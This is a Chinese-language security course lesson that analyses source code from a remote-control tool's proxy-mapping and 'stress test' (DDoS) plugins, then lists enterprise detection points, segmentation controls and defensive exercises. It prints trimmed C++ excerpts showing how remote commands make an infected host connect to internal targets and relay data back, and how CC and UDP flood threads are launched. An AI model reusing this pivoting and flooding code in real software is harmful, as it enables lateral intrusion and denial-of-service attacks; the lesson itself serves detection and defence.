第 46 课:代理映射、内网扫描与横向风险
# 第 46 课:代理映射、内网扫描与横向风险
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课把第 39 课“代理映射”和第 40 课“压力测试”放到同一个企业网络场景下理解:一台已经连到主控的主机,可能被用作内网访问跳板;一个看似来自内部主机的连接,可能实际由远程命令驱动。企业安全工程要关注的是东西向流量、内网服务暴露、ACL 是否生效、异常端口连接和高并发连接,而不是学习如何建立代理或探测服务。

# 1. 新手先理解:什么是横向风险
企业网络里常把流量分成两类:南北向流量是内网和互联网之间的流量,东西向流量是内网主机之间的流量。很多公司对南北向边界投入较多,对东西向流量基线不足。一旦某台内网主机被远程控制,它就可能访问原本外部不可达的数据库、文件共享、管理端口或业务接口。
本课只讲防御识别:
| 问题 | 防御理解 |
|---|---|
| 代理映射为什么危险 | 它把远端控制意图转成内网主机发起的连接 |
| 内网扫描为什么难发现 | 流量发生在可信网段内部,容易被当作正常访问 |
| 高并发连接为什么要关注 | 可能造成资源消耗,也可能暴露探测意图 |
| 网络分段为什么重要 | 即使单机失陷,也要限制它能访问的资产范围 |
# 2. 源码目录和文件
| 位置 | 作用 | 阅读重点 |
|---|---|---|
主插件\代理映射\代理映射\ProxyManager.h/.cpp | 代理连接和数据转发 | 连接目标、Socket 映射、数据回传 |
主插件\压力测试\压力测试\DDOSManager.h/.cpp | 高并发流量生成 | 线程数量、目标地址、协议类型 |
主插件\HPSocket | 插件通用网络基础 | 心跳、包头、发送缓冲区 |
主控\Quick\ProxyMapDlg.cpp | 主控代理映射窗口 | 本地连接与被控端代理数据的对应关系 |
依赖说明: 本课主要依赖 WinSock、DNS 解析 API 和项目 HPSocket 通信层。WinSock/DNS 负责被控主机到内网目标的连接,HPSocket 负责远程命令和数据回传,主控窗口负责把本地代理会话和被控端连接索引对应起来。代码注释中会把索引、目标、线程和回传 token 放在对应片段里。
# 3. 关键结构和函数
| 结构或函数 | 大致行号 | 角色 | 防御关注点 |
|---|---|---|---|
CProxyManager | ProxyManager.h 约 22-39 行 | 维护代理连接状态 | map<DWORD, SOCKET*> 保存多条连接 |
CProxyManager::OnReceive | ProxyManager.cpp 约 74-133 行 | 处理连接、关闭、数据命令 | 网络命令直接驱动内网连接 |
SocksThread | ProxyManager.cpp 约 133-215 行 | 按 IP 和端口连接目标 | 被控主机主动访问内网服务 |
SocksThreadhostname | ProxyManager.cpp 约 216-308 行 | 按主机名解析并连接 | DNS 查询和内网连接可关联 |
DDOSManager::OnReceive | DDOSManager.cpp 约 41-60 行 | 接收高并发流量命令 | 远程命令触发流量生成 |
DDOSAttackr | DDOSManager.cpp 约 146-260 行 | 创建多个发送线程 | 线程数、目标、协议类型是检测重点 |
# 4. 代理映射的基本链路

代理映射模块的基本过程是:控制端下发连接命令,被控端创建 Socket 连接内网目标,之后把内网服务返回的数据封装后回传。防御侧看到的表象是:一台普通终端突然访问它平时不访问的内网服务。
// 源码位置:主插件\代理映射\代理映射\ProxyManager.h,约第 5-15 行
enum
{
TOKEN_PROXY_CONNECT_RESULT,
TOKEN_PROXY_BIND_RESULT,
TOKEN_PROXY_CLOSE,
TOKEN_PROXY_DATA,
COMMAND_PROXY_CLOSE,
COMMAND_PROXY_CONNECT,
COMMAND_PROXY_DATA,
COMMAND_PROXY_CONNECT_HOSTNAME,
};
// 防御分析:这些 token 说明该模块支持连接、关闭和数据转发。
// 网络侧可以把代理相关 token 与内网连接事件做时间关联。
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 5. 命令分发:从远程命令到内网连接
// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp,约第 74-133 行
void CProxyManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
if (!m_buser) return;
switch (lpBuffer[0])
{
case COMMAND_PROXY_CONNECT:
{
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
Threads++;
CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CONNECT_HOSTNAME:
{
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
arg.len = nSize;
Threads++;
CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_DATA:
// 防御分析:后续数据会被写入已建立的目标 Socket。
// 检测时要关联命令到达、目标连接、数据转发三个阶段。
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
这段代码暴露出三个检测点:
| 阶段 | 主机表现 | 网络表现 |
|---|---|---|
| 收到连接命令 | 创建新线程 | 控制连接出现代理命令 |
| 连接内网目标 | socket、connect | 内网目的 IP/端口出现新连接 |
| 数据转发 | send、recv 循环 | 同一连接持续双向流量 |
# 6. 目标连接与数据回传
// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp,约第 133-215 行
unsigned CProxyManager::SocksThread(LPVOID lparam)
{
SOCKET* psock = new SOCKET;
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
DWORD index = *(DWORD*)&lpBuffer[1];
DWORD ip = *(DWORD*)&lpBuffer[5];
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
ClientAddr.sin_addr.S_un.S_addr = ip;
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
{
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
return 0;
}
pThis->list.insert(pair<DWORD, SOCKET*>(index, psock));
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (WaitForSingleObject(pClient->m_hEvent, 10) != WAIT_OBJECT_0)
{
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
// 防御分析:被控端以自己的网络身份访问目标服务,
// 然后把返回数据通过控制链路送回去,是典型横向风险链。
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
如果企业只在边界网关上看互联网连接,很可能看不到这段内网访问的真实风险。更有效的方法是把终端侧 Socket 事件、东西向流量、代理日志和 DNS 日志统一关联。
# 7. 主机名连接与 DNS 线索
SocksThreadhostname 支持按主机名连接,源码中使用 gethostbyname。这意味着 DNS 查询本身也能成为线索:一台普通终端突然解析数据库、域控、内部管理系统或大量短主机名时,应进入关注范围。
// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp,约第 216-255 行
unsigned CProxyManager::SocksThreadhostname(LPVOID lparam)
{
BYTE* lpBuffer = new BYTE[pArg->len];
memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
USHORT nPort = 0;
memcpy(&nPort, lpBuffer + 5, 2);
hostent* pHostent = gethostbyname((char*)lpBuffer + 7);
if (!pHostent)
{
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
return 0;
}
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
// 防御分析:DNS 查询、Socket 创建、内网连接应按同一事件链处理。
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 8. 高并发流量风险

压力测试模块会根据命令创建多线程,面向目标生成大量连接或数据包。这里不展开任何发送细节,只看防御信号:线程数量、目标地址、协议类型、连接失败率和流量速率。
// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp,约第 41-60 行
void DDOSManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
switch (lpBuffer[0])
{
case COMMAND_DDOS_ATTACK:
{
ATTACK m_Attack;
memcpy(&m_Attack, lpBuffer + 1, sizeof(ATTACK));
DDOSAttackr(&m_Attack);
}
break;
}
// 防御分析:收到网络命令后直接解析流量参数,
// 应检查 nSize 是否足够,并限制此类能力在企业环境出现。
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp,约第 146-260 行
void DDOSManager::DDOSAttackr(LPATTACK PoinParam)
{
memcpy(&m_Attack, PoinParam, sizeof(ATTACK));
CountTime = m_Attack.AttackTime;
switch (m_Attack.AttackType)
{
case ATTACK_CCFLOOD:
for (i = 0; i < m_Attack.AttackThread; i++)
CloseHandle(CreateThread(NULL, NULL, CCAttack, &m_Attack, 0, NULL));
break;
case ATTACK_UDPFLOOD:
for (i = 0; i < m_Attack.AttackThread; i++)
CloseHandle(CreateThread(NULL, NULL, UDPAttackModel, &m_Attack, 0, NULL));
break;
}
// 防御分析:这里仅用于识别高并发流量特征。
// 线程数、持续时间、目标地址和协议类型应进入检测字段。
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 9. 网络分段和访问控制

企业防护不能假设“内网就是可信”。建议至少做以下分层:
| 控制点 | 目标 |
|---|---|
| 资产分区 | 工作站、服务器、数据库、域控、运维区分开 |
| ACL | 默认拒绝非必要东西向访问 |
| NDR | 发现内网异常连接、端口探测、协议异常 |
| 防火墙 | 记录允许和拒绝的内网连接 |
| 代理日志 | 发现异常内部代理或隧道 |
| 流量基线 | 识别“平时不访问、突然访问”的主机对 |
# 10. 企业检测点

| 层面 | 检测点 | 建议 |
|---|---|---|
| 主机 | 普通终端创建大量内网 Socket | 记录源进程、目标 IP、目标端口 |
| DNS | 短时间解析多个内部主机名 | 与随后连接事件关联 |
| 网络 | 一个源访问多个端口或多个目标 | 关注失败率、速率、目的资产类型 |
| 身份 | 非运维账号访问管理端口 | 与账号组和主机角色关联 |
| 协议 | 内网流量后又回到控制连接 | 识别“内网访问 + 外联回传”组合 |
| 资产 | 服务器之间出现非业务连接 | 用 CMDB 或资产标签降噪 |
# 11. 合法练习题
- 不运行模块,只根据源码画出
COMMAND_PROXY_CONNECT -> connect -> recv -> Send的数据流。 - 设计一条检测思路:普通办公终端 5 分钟内连接 20 个以上内网主机或 10 个以上端口。
- 结合资产分区,列出工作站不应直接访问的 5 类服务。
- 写一份字段表:源主机、源进程、目标 IP、目标端口、DNS 名称、连接结果、字节数、首次发现时间。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言